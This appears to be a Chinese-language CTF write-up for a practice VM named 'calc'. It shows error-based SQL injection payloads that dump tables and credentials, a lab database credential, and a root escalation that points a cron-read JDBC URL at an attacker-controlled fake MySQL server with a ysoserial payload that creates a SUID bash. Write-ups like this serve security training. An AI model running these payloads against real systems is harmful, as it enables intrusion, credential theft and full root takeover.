下载了一个calc.ova的镜像,一开始使用Vmware进行导入,但是nmap探针只能看到22端口的ssh服务,然后一直去根据ssh去做,但是发现没有任何利用价值,因为之前做的靶机也遇到过这种情况,所以去virtualbox导入。
信息收集
这个比较方便的就是不用对网段进行扫描 直接给了你ip(要是知道这个ip可以正常显示 会省下不少时间)

nmap扫描发现80和8080端口开着
web
进到80端口发现是一个calc system 猜测是注入之类的 先试一下

去输入框看一下有什么东西 既然是calc那我试一下1+1


。。。。虽然没计算成功(依旧不知道这个怎么计算的)但是看到了一个敏感信息是SQL
Calc DB Syntax Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘to 1’ at line 1
很明显的是一个报错信息
那我们看一下数据库
1 and updatexml(1,concat(0x7e,database(),0x7e),1)--

看到数据库
calc_db
然后就是枯燥无味的爆表和字段(因为时间比较充裕 也没什么事情做就都爆一遍玩)
爆表:
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--

爆字段:
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='track_info' limit 0,1),0x7e),1)--
改变语句得到表和字段
- track_info
- id
- track_name
- lyric
- webapp_users
- id
- username
- password
- access_logs
- id
- ip_address
- access_time
- system_config
- id
- config_name
- jdbc_url
嗯?有个jdbc(警觉)
所以比较重要的表就是webapp_users 和 system_config 先看一下webapp_users然后感觉sys可能和root
内容:
1 and updatexml(1,concat(0x7e,(select concat(id,0x3a,username,0x3a,password) from webapp_users limit 0,1),0x7e),1)--

1:Jimmy
就这一个 那猜测你就是用户 我们去ssh登录一下

得到user.txt的flag
事已至此先吃饭 晚会看一下能不能拿到root
提权
我们在上面看到了
- Migrate Tomcat to port 80 (Currently on 8080 via reverse proxy).
- Secure local database credentials (calc_user : vocaloid_miku_01).
- Fix backend_sync.jar reading system_config in cron. Do not change 700 permissions on the jar!
我们知道sql的账号密码
我们使用mysql连接
去看一看system_config里面有什么吧

啧 因为我这边是打完后写的wp
我们看到 这个是一个jdbc的mysql连接
然后通过第三条我们知道corn里面有一个backend_sync.jar读取system_config
看一下定时任务
![]()
运行jar的程序 其实这里就能才出来是干什么了 sql注入出了个jdbc 数据库有个jdbc

还真是 然后我们直接打是打不通的 正好有个项目 MYSQL_FAKE_SERVER 这个是伪造mysql服务的 我们用这个和yso联动一起打这个链 因为定时任务上写着root每分钟都会执行这个jar包 那就清楚很多了 然后在config.json里写一下paylaod
{ "config": { "ysoserialPath": "./ysoserial.jar", "javaBinPath": "D:/Java/jdk1.8.0_65/bin/java.exe", "fileOutputDir": "./fileOutput/", "displayFileContentOnScreen": true, "saveToFile": true }, "fileread": { "win_ini": "c:\\windows\\win.ini", "win_hosts": "c:\\windows\\system32\\drivers\\etc\\hosts", "win": "c:\\windows\\", "linux_passwd": "/etc/passwd", "linux_hosts": "/etc/hosts", "index_php": "index.php", "ssrf": "https://www.baidu.com/", "__defaultFiles": [ "/etc/hosts", "c:\\windows\\system32\\drivers\\etc\\hosts" ] }, "yso": { "rootsuid": [ "CommonsCollections5", "/usr/bin/install -m 4755 /bin/bash /tmp/rootbash" ] }}因为我本地有mysql服务 我就直接在py文件改成3307了
最主要的就剩下mysql的字段了
我们在idea中看到了这个

那我们直接修改system_config jdbc_url的字段名
use calc_db;update system_configset jdbc_url='jdbc:mysql://192.168.56.1:3307/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&maxAllowedPacket=655360&user=rootsuid'然后启动server 等待root执行

执行成功后我们看一下tmp/rootbash
ls -l /tmp/rootbash
![]()
看到是root
然后直接/tmp/rootbash -p
执行id

可以看到euid是root 提权成功 去拿flag

如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时